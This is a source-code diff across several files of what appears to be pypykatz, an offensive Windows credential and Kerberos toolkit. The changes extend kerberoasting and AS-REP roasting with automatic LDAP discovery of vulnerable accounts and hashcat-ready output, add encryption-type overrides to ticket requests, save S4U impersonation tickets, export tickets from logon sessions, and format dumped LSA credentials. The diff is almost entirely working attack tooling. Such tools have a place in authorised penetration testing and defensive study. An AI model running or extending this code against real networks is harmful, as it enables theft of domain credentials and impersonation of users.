124 | 133 | |
133 | 142 | sk.size = int.from_bytes(buff.read(4), 'little', signed = False) |
134 | 143 | sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) |
135 | 144 | sk.type = int.from_bytes(buff.read(4), 'little', signed = False) |
145 | try: | |
146 | sk.type_pretty = CREDBLOBTYPE(sk.type) | |
147 | except: | |
148 | sk.type_pretty = CREDBLOBTYPE.UNKNOWN | |
136 | 149 | sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False) |
137 | 150 | sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False) |
138 | 151 | sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) |
180 | 193 | |
181 | 194 | def to_text(self): |
182 | 195 | t = '' |
196 | t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type) | |
183 | 197 | t += 'last_written : %s\r\n' % self.last_written |
184 | 198 | if len(self.target) > 0: |
185 | 199 | t += 'target : %s\r\n' % str(self.target) |
4 | 4 | # |
5 | 5 | |
6 | 6 | import io |
7 | import enum | |
8 | 7 | import sys |
9 | 8 | |
10 | 9 | from pypykatz.dpapi.constants import * |
126 | 125 | #print('temp_key : %s' % temp_key) |
127 | 126 | crypt_key = temp_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]] |
128 | 127 | iv = temp_key[ALGORITHMS_DATA[self.crypto_algorithm][0]:][:ALGORITHMS_DATA[self.crypto_algorithm][3]] |
129 | cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], iv = iv) | |
128 | cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], IV = iv) | |
130 | 129 | |
131 | 130 | cleartext = cipher.decrypt(self.data) |
132 | 131 | key_dec = cleartext[-64:] |
171 | 170 | self.credhist_length = None |
172 | 171 | self.domainkey_length = None |
173 | 172 | |
174 | self.masterkey = None | |
175 | self.backupkey = None | |
176 | self.credhist = None | |
177 | self.domainkey = None | |
173 | self.masterkey:MasterKey = None | |
174 | self.backupkey:MasterKey = None | |
175 | self.credhist:CredHist = None | |
176 | self.domainkey:DomainKey = None | |
178 | 177 | |
179 | 178 | @staticmethod |
180 | 179 | def from_bytes(data): |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import os | |
6 | 7 | import base64 |
7 | 8 | import platform |
8 | 9 | import argparse |
11 | 12 | import traceback |
12 | 13 | |
13 | 14 | from minikerberos.common.utils import print_table |
15 | from minikerberos.protocol.asn1_structs import KRB_CRED | |
14 | 16 | from pypykatz.commons.filetime import filetime_to_dt |
15 | 17 | from pypykatz.commons.common import geterr |
16 | 18 | from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \ |
18 | 20 | del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache |
19 | 21 | |
20 | 22 | from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi |
23 | from msldap.commons.factory import LDAPConnectionFactory | |
24 | from minikerberos.common.spn import KerberosSPN | |
25 | from minikerberos.common.creds import KerberosCredential | |
26 | ||
27 | ||
21 | 28 | |
22 | 29 | """ |
23 | 30 | Kerberos is not part of pypykatz directly. |
113 | 120 | tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user') |
114 | 121 | tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"') |
115 | 122 | tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') |
123 | tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') | |
116 | 124 | |
117 | 125 | tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user') |
118 | 126 | tgs_parser.add_argument('url', help='user credentials in URL format') |
119 | 127 | tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for') |
120 | 128 | tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') |
129 | tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') | |
121 | 130 | |
122 | 131 | brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames') |
123 | 132 | brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
127 | 136 | brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') |
128 | 137 | |
129 | 138 | asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast') |
139 | asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') | |
130 | 140 | asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
131 | 141 | asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') |
132 | 142 | asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') |
133 | 143 | asreproast_parser.add_argument('address', help='Kerberos server IP/hostname') |
134 | asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
144 | asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
135 | 145 | |
136 | 146 | spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast') |
147 | spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') | |
137 | 148 | spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') |
138 | 149 | spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') |
139 | 150 | spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') |
140 | spnroast_parser.add_argument('url', help='user credentials in URL format') | |
141 | spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
151 | spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format') | |
152 | spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
142 | 153 | |
143 | 154 | s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user') |
144 | 155 | s4u_parser.add_argument('url', help='user credentials in URL format') |
247 | 258 | if args.outdir is not None: |
248 | 259 | for luid in tickets: |
249 | 260 | for ticket in tickets[luid]: |
250 | with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f: | |
261 | try: | |
262 | pt = KRB_CRED.load(ticket['Ticket']).native | |
263 | name = '_'.join(pt['tickets'][0]['sname']['name-string']) | |
264 | name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']]) | |
265 | except: | |
266 | name = hex(int(luid)) + '_' + os.urandom(4).hex() | |
267 | with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f: | |
251 | 268 | f.write(ticket['Ticket']) |
269 | ||
252 | 270 | else: |
253 | 271 | for luid in tickets: |
254 | 272 | if len(tickets[luid]) == 0: |
260 | 278 | |
261 | 279 | |
262 | 280 | def run(self, args): |
263 | #raise NotImplementedError('Platform independent kerberos not implemented!') | |
264 | 281 | |
265 | 282 | if args.kerberos_module == 'tgt': |
266 | kirbi, filename, err = asyncio.run(get_TGT(args.url)) | |
283 | kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype)) | |
267 | 284 | if err is not None: |
268 | 285 | print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err) |
269 | 286 | return |
275 | 292 | print_kirbi(kirbi) |
276 | 293 | |
277 | 294 | elif args.kerberos_module == 'tgs': |
278 | tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn)) | |
295 | tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype)) | |
279 | 296 | if err is not None: |
280 | 297 | print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err) |
281 | 298 | return |
282 | 299 | |
283 | ||
284 | 300 | if args.out_file is not None: |
285 | pass | |
286 | else: | |
287 | print(tgs) | |
288 | print(encTGSRepPart) | |
289 | print(key) | |
301 | with open(args.out_file, 'wb') as f: | |
302 | f.write(kirbi.dump()) | |
303 | else: | |
304 | print_kirbi(kirbi) | |
290 | 305 | |
291 | 306 | elif args.kerberos_module == 'brute': |
292 | 307 | target_spns = generate_targets(args.targets, args.domain) |
296 | 311 | return |
297 | 312 | |
298 | 313 | elif args.kerberos_module == 'asreproast': |
299 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
314 | if args.ldap is None: | |
315 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
316 | else: | |
317 | target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep')) | |
300 | 318 | _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype)) |
301 | 319 | if err is not None: |
302 | print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
320 | print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err)) | |
303 | 321 | return |
304 | 322 | |
305 | 323 | elif args.kerberos_module == 'spnroast': |
306 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
324 | if args.ldap is None and args.targets is None: | |
325 | raise Exception('Either LDAP URL or targets must be provided') | |
326 | if args.ldap is None: | |
327 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
328 | else: | |
329 | _, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn')) | |
307 | 330 | _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype)) |
308 | 331 | if err is not None: |
309 | print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
332 | print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err)) | |
310 | 333 | return |
311 | 334 | |
312 | 335 | elif args.kerberos_module == 's4u': |
313 | tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None)) | |
314 | if err is not None: | |
315 | print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err)) | |
316 | return | |
336 | tgs, encTGSRepPart, key, kirbi, err = asyncio.run(s4u(args.url, args.spn, args.targetuser)) | |
337 | if err is not None: | |
338 | print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err)) | |
339 | return | |
340 | ||
341 | if args.out_file is not None: | |
342 | with open(args.out_file, 'wb') as f: | |
343 | f.write(kirbi.dump()) | |
344 | else: | |
345 | print_kirbi(kirbi) | |
317 | 346 | |
318 | 347 | elif args.kerberos_module == 'keytab': |
319 | 348 | process_keytab(args.keytabfile) |
332 | 361 | |
333 | 362 | elif args.kerberos_module == 'kirbi': |
334 | 363 | if args.kirbi_module == 'parse': |
335 | parse_kirbi(args.kirbifile)⏎ | |
364 | parse_kirbi(args.kirbifile) | |
365 | ||
366 | ||
367 | def get_ldap_url(authmethod = 'ntlm', host = None): | |
368 | from winacl.functions.highlevel import get_logon_info | |
369 | info = get_logon_info() | |
370 | ||
371 | logonserver = info['logonserver'] | |
372 | if host is not None: | |
373 | logonserver = host | |
374 | ||
375 | return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) | |
376 | ||
377 | async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None): | |
378 | if ldap_url == 'auto': | |
379 | ldap_url = get_ldap_url(authmethod = authmethod, host = host) | |
380 | ||
381 | msldap_url = LDAPConnectionFactory.from_url(ldap_url) | |
382 | client = msldap_url.get_client() | |
383 | _, err = await client.connect() | |
384 | if err is not None: | |
385 | raise err | |
386 | ||
387 | domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') | |
388 | spn_users = [] | |
389 | asrep_users = [] | |
390 | ||
391 | if target_type == 'asrep' or target_type == 'all': | |
392 | async for user, err in client.get_all_knoreq_users(): | |
393 | if err is not None: | |
394 | raise err | |
395 | cred = KerberosCredential() | |
396 | cred.username = user.sAMAccountName | |
397 | cred.domain = domain | |
398 | ||
399 | asrep_users.append(cred) | |
400 | ||
401 | if target_type == 'spn' or target_type == 'all': | |
402 | async for user, err in client.get_all_service_users(): | |
403 | if err is not None: | |
404 | raise err | |
405 | cred = KerberosSPN() | |
406 | cred.username = user.sAMAccountName | |
407 | cred.domain = domain | |
408 | ||
409 | spn_users.append(cred) | |
410 | ||
411 | return asrep_users, spn_users⏎ |
0 | 0 | |
1 | from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi | |
2 | 1 | from pypykatz import logger |
3 | 2 | import os |
4 | 3 | import ntpath |
5 | 4 | import glob |
6 | import pprint | |
7 | import platform | |
8 | import datetime | |
9 | ||
10 | from msldap.commons.url import MSLDAPURLDecoder | |
11 | 5 | |
12 | 6 | from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast |
13 | from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN | |
14 | from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog | |
7 | from minikerberos.common.url import KerberosClientURL | |
15 | 8 | from minikerberos.common.spn import KerberosSPN |
16 | 9 | from minikerberos.common.creds import KerberosCredential |
17 | 10 | from minikerberos.common.target import KerberosTarget |
18 | 11 | from minikerberos.common.keytab import Keytab |
19 | 12 | from minikerberos.aioclient import AIOKerberosClient |
20 | from minikerberos.common.utils import TGSTicket2hashcat | |
21 | from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart | |
22 | 13 | from minikerberos.common.utils import print_table |
23 | 14 | from minikerberos.common.ccache import CCACHE, Credential |
15 | from minikerberos.common.utils import tgt_to_kirbi | |
24 | 16 | |
25 | 17 | |
26 | 18 | def process_target_line(target, realm = None, to_spn = True): |
130 | 122 | |
131 | 123 | cc.to_file(ccachefile) |
132 | 124 | |
133 | async def get_TGS(url, spn, out_file = None): | |
125 | async def get_TGS(url, spn, out_file = None, override_etype = None): | |
134 | 126 | try: |
135 | 127 | logger.debug('[KERBEROS][TGS] started') |
128 | if isinstance(override_etype, int): | |
129 | override_etype = [override_etype] | |
130 | ||
136 | 131 | ku = KerberosClientURL.from_url(url) |
137 | 132 | cred = ku.get_creds() |
138 | 133 | target = ku.get_target() |
143 | 138 | kcomm = AIOKerberosClient(cred, target) |
144 | 139 | await kcomm.get_TGT() |
145 | 140 | logger.debug('[KERBEROS][TGS] fetching TGS') |
146 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn) | |
141 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype) | |
142 | ||
143 | kirbi = tgt_to_kirbi(tgs, encTGSRepPart) | |
147 | 144 | |
148 | 145 | if out_file is not None: |
149 | kcomm.ccache.to_file(out_file) | |
146 | with open(out_file, 'wb') as f: | |
147 | f.write(kirbi.dump()) | |
148 | ||
150 | 149 | logger.debug('[KERBEROS][TGS] done!') |
151 | return tgs, encTGSRepPart, key, None | |
152 | except Exception as e: | |
153 | return None, None, None, e | |
154 | ||
155 | async def get_TGT(url): | |
150 | return tgs, encTGSRepPart, key, kirbi, None | |
151 | except Exception as e: | |
152 | return None, None, None, None, e | |
153 | ||
154 | async def get_TGT(url, override_etype = None): | |
156 | 155 | try: |
157 | 156 | logger.debug('[KERBEROS][TGT] started') |
157 | if isinstance(override_etype, int): | |
158 | override_etype = [override_etype] | |
158 | 159 | ku = KerberosClientURL.from_url(url) |
159 | 160 | cred = ku.get_creds() |
160 | 161 | target = ku.get_target() |
164 | 165 | |
165 | 166 | kcomm = AIOKerberosClient(cred, target) |
166 | 167 | logger.debug('[KERBEROS][TGT] fetching TGT') |
167 | await kcomm.get_TGT() | |
168 | ||
169 | cred = kcomm.ccache.credentials[0] | |
170 | kirbi, filename = cred.to_kirbi() | |
168 | await kcomm.get_TGT(override_etype=override_etype) | |
171 | 169 | |
172 | return kirbi, filename, None | |
173 | except Exception as e: | |
174 | return None, None, e | |
170 | kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart) | |
171 | ||
172 | return kirbi, None | |
173 | except Exception as e: | |
174 | return None, e | |
175 | 175 | |
176 | 176 | async def brute(host, targets, out_file = None, show_negatives = False): |
177 | 177 | """ |
269 | 269 | except Exception as e: |
270 | 270 | return None, e |
271 | 271 | |
272 | async def s4u(url, spn, targetuser, out_file = None): | |
272 | async def s4u(url, spn, targetuser): | |
273 | 273 | try: |
274 | 274 | logger.debug('[KERBEROS][S4U] Started') |
275 | 275 | cu = KerberosClientURL.from_url(url) |
284 | 284 | client = AIOKerberosClient(ccred, target) |
285 | 285 | await client.get_TGT() |
286 | 286 | logger.debug('[KERBEROS][S4U] Getting ST') |
287 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
287 | res = await client.getST(target_user, service_spn) | |
288 | tgs, encTGSRepPart, key = res | |
288 | 289 | else: |
289 | 290 | logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') |
290 | 291 | for tgt, key in ccred.ccache.get_all_tgt(): |
292 | 293 | logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) |
293 | 294 | client = AIOKerberosClient.from_tgt(target, tgt, key) |
294 | 295 | |
295 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
296 | res = await client.getST(target_user, service_spn) | |
297 | tgs, encTGSRepPart, key = res | |
296 | 298 | logger.debug('[KERBEROS][S4U] Sucsess!') |
297 | 299 | except Exception as e: |
298 | 300 | logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) |
300 | 302 | else: |
301 | 303 | break |
302 | 304 | |
303 | if out_file: | |
304 | client.ccache.to_file(out_file) | |
305 | ||
306 | 305 | logger.debug('[KERBEROS][S4U] Done!') |
307 | return tgs, encTGSRepPart, key, None | |
308 | ||
309 | except Exception as e: | |
310 | return None, None, None, e | |
306 | kirbi = tgt_to_kirbi(tgs, encTGSRepPart) | |
307 | return tgs, encTGSRepPart, key, kirbi, None | |
308 | ||
309 | except Exception as e: | |
310 | return None, None, None, None, e |
1 | 1 | import datetime |
2 | 2 | |
3 | 3 | from winacl.functions.highlevel import get_logon_info |
4 | from msldap.commons.url import MSLDAPURLDecoder | |
4 | from msldap.commons.factory import LDAPConnectionFactory | |
5 | 5 | from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken |
6 | 6 | from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat |
7 | 7 | from minikerberos.network.clientsocket import KerberosClientSocket |
170 | 170 | token_handle = OpenProcessToken(process_handle) |
171 | 171 | stats = GetTokenInformation_tokenstatistics(token_handle) |
172 | 172 | CloseHandle(process_handle) |
173 | return stats['TokenId'] | |
173 | return stats['AuthenticationId'] | |
174 | 174 | |
175 | 175 | def list_luids(self): |
176 | 176 | self.available_luids = LsaEnumerateLogonSessions() |
290 | 290 | logon = get_logon_info() |
291 | 291 | domain = logon['domain'] |
292 | 292 | url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] |
293 | msldap_url = MSLDAPURLDecoder(url) | |
293 | msldap_url = LDAPConnectionFactory.from_url(url) | |
294 | 294 | client = msldap_url.get_client() |
295 | 295 | _, err = await client.connect() |
296 | 296 | if err is not None: |
5 | 5 | |
6 | 6 | from pypykatz import logger |
7 | 7 | import asyncio |
8 | import argparse | |
9 | import logging | |
8 | 10 | |
9 | 11 | """ |
10 | 12 | LDAP is not part of pypykatz directly. |
27 | 29 | self.keywords = ['ldap'] |
28 | 30 | |
29 | 31 | def add_args(self, parser, live_parser): |
30 | group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
31 | group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
32 | group.add_argument('url', help="LDAP connection string") | |
33 | group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
32 | ldap_group = parser.add_parser('ldap', help='LDAP related commands') | |
33 | ldap_subparsers = ldap_group.add_subparsers() | |
34 | ldap_subparsers.required = True | |
35 | ldap_subparsers.dest = 'ldap_module' | |
34 | 36 | |
35 | live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
36 | live_group.add_argument('--host', help= 'Specify a custom logon server.') | |
37 | live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
38 | live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
37 | ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
38 | ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | ldap_client_group.add_argument('url', help="LDAP connection string") | |
40 | ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
41 | ||
42 | ||
43 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
44 | live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.') | |
45 | live_ldap_subparsers.required = True | |
46 | live_ldap_subparsers.dest = 'liveldapcommand' | |
47 | ||
48 | live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
49 | live_client_parser.add_argument('--host', help= 'Specify a custom logon server.') | |
50 | live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
51 | live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
52 | live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
53 | ||
54 | live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser]) | |
55 | ||
40 | 56 | |
41 | 57 | def execute(self, args): |
42 | 58 | if args.command in self.keywords: |
47 | 63 | |
48 | 64 | |
49 | 65 | def run_live(self, args): |
66 | from msldap import logger as ldaplogger | |
50 | 67 | from msldap.examples.msldapclient import amain |
51 | 68 | from winacl.functions.highlevel import get_logon_info |
52 | 69 | info = get_logon_info() |
55 | 72 | if args.host is not None: |
56 | 73 | logonserver = args.host |
57 | 74 | |
58 | la = LDAPCMDArgs() | |
59 | la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
60 | la.verbose = args.verbose | |
75 | ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
61 | 76 | |
62 | if args.verbose > 1: | |
63 | print('Using the following auto-generated URL: %s' % la.url) | |
64 | if args.commands is not None and len(args.commands) > 0: | |
65 | la.commands = [] | |
66 | if args.commands[0] == 'help': | |
67 | la.commands = ['help'] | |
68 | else: | |
69 | if args.commands[0] != 'login': | |
70 | la.commands.append('login') | |
71 | ||
72 | for command in args.commands: | |
73 | la.commands.append(command) | |
77 | if args.verbose == 0: | |
78 | ldaplogger.setLevel(100) | |
79 | elif args.verbose == 1: | |
80 | print('Using the following auto-generated URL: %s' % ldap_url) | |
81 | ldaplogger.setLevel(level=logging.INFO) | |
82 | else: | |
83 | level = 5 - args.verbose | |
84 | ldaplogger.setLevel(level=level) | |
74 | 85 | |
75 | asyncio.run(amain(la)) | |
86 | if args.liveldapcommand == 'client': | |
87 | la = LDAPCMDArgs() | |
88 | la.url = ldap_url | |
89 | la.verbose = args.verbose | |
90 | ||
91 | if args.commands is not None and len(args.commands) > 0: | |
92 | la.commands = [] | |
93 | if args.commands[0] == 'help': | |
94 | la.commands = ['help'] | |
95 | else: | |
96 | if args.commands[0] != 'login': | |
97 | la.commands.append('login') | |
98 | ||
99 | for command in args.commands: | |
100 | la.commands.append(command) | |
101 | ||
102 | asyncio.run(amain(la)) | |
103 | ||
76 | 104 | |
77 | 105 | def run(self, args): |
78 | 106 | from msldap.examples.msldapclient import amain |
79 | la = LDAPCMDArgs() | |
80 | la.url = args.url | |
81 | la.verbose = args.verbose | |
82 | if args.commands is not None and len(args.commands) > 0: | |
83 | la.commands = [] | |
84 | if args.commands[0] == 'help': | |
85 | la.commands = ['help'] | |
86 | else: | |
87 | if args.commands[0] != 'login': | |
88 | la.commands.append('login') | |
89 | ||
90 | for command in args.commands: | |
91 | la.commands.append(command) | |
92 | 107 | |
93 | asyncio.run(amain(la)) | |
108 | if args.ldap_module == 'client': | |
109 | la = LDAPCMDArgs() | |
110 | la.url = args.url | |
111 | la.verbose = args.verbose | |
112 | if args.commands is not None and len(args.commands) > 0: | |
113 | la.commands = [] | |
114 | if args.commands[0] == 'help': | |
115 | la.commands = ['help'] | |
116 | else: | |
117 | if args.commands[0] != 'login': | |
118 | la.commands.append('login') | |
119 | ||
120 | for command in args.commands: | |
121 | la.commands.append(command) | |
122 | ||
123 | asyncio.run(amain(la)) |
10 | 10 | import traceback |
11 | 11 | import base64 |
12 | 12 | |
13 | from pypykatz import logging | |
13 | from pypykatz import logger | |
14 | 14 | from pypykatz.pypykatz import pypykatz |
15 | 15 | from pypykatz.commons.common import UniversalEncoder |
16 | 16 | from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession |
88 | 88 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
89 | 89 | |
90 | 90 | elif args.grep: |
91 | print(':'.join(LogonSession.grep_header)) | |
91 | if hasattr(args, 'directory') and args.directory is not None: | |
92 | print(':'.join(['filename'] + LogonSession.grep_header)) | |
93 | else: | |
94 | print(':'.join(LogonSession.grep_header)) | |
92 | 95 | for result in results: |
93 | 96 | for luid in results[result].logon_sessions: |
94 | 97 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
98 | if hasattr(args, 'directory') and args.directory is not None: | |
99 | row = [result] + row | |
95 | 100 | print(':'.join(row)) |
96 | 101 | for cred in results[result].orphaned_creds: |
97 | 102 | t = cred.to_dict() |
98 | 103 | if t['credtype'] != 'dpapi': |
99 | 104 | if t['password'] is not None: |
100 | 105 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] |
106 | if hasattr(args, 'directory') and args.directory is not None: | |
107 | x = [result] + x | |
101 | 108 | print(':'.join(x)) |
102 | 109 | else: |
103 | 110 | t = cred.to_dict() |
104 | 111 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
112 | if hasattr(args, 'directory') and args.directory is not None: | |
113 | x = [result] + x | |
105 | 114 | print(':'.join(x)) |
106 | 115 | |
107 | 116 | for pkg, err in results[result].errors: |
108 | 117 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
109 | 118 | err_str = base64.b64encode(err_str.encode()).decode() |
110 | 119 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] |
120 | if hasattr(args, 'directory') and args.directory is not None: | |
121 | x = [result] + x | |
111 | 122 | print(':'.join(x) + '\r\n') |
112 | 123 | else: |
113 | 124 | for result in results: |
127 | 138 | print('== Errors ==') |
128 | 139 | for pkg, err in results[result].errors: |
129 | 140 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
141 | logger.debug(err_str) | |
130 | 142 | err_str = base64.b64encode(err_str.encode()).decode() |
131 | 143 | print('%s %s' % (pkg+'_exception_please_report',err_str)) |
132 | 144 | |
140 | 152 | |
141 | 153 | if args.kerberos_dir: |
142 | 154 | dir = os.path.abspath(args.kerberos_dir) |
143 | logging.info('Writing kerberos tickets to %s' % dir) | |
155 | logger.info('Writing kerberos tickets to %s' % dir) | |
144 | 156 | for filename in results: |
145 | 157 | base_filename = ntpath.basename(filename) |
146 | 158 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions |
203 | 215 | else: |
204 | 216 | globdata = os.path.join(dir_fullpath, file_pattern) |
205 | 217 | |
206 | logging.info('Parsing folder %s' % dir_fullpath) | |
218 | logger.info('Parsing folder %s' % dir_fullpath) | |
207 | 219 | for filename in glob.glob(globdata, recursive=args.recursive): |
208 | logging.info('Parsing file %s' % filename) | |
220 | logger.info('Parsing file %s' % filename) | |
209 | 221 | try: |
210 | 222 | if args.kerberos_dir is not None and 'all' not in args.packages: |
211 | 223 | args.packages.append('ktickets') |
215 | 227 | raise Exception('Error in modules!') |
216 | 228 | except Exception as e: |
217 | 229 | files_with_error.append(filename) |
218 | logging.exception('Error parsing file %s ' % filename) | |
230 | logger.exception('Error parsing file %s ' % filename) | |
219 | 231 | if args.halt_on_error == True: |
220 | 232 | raise e |
221 | 233 | else: |
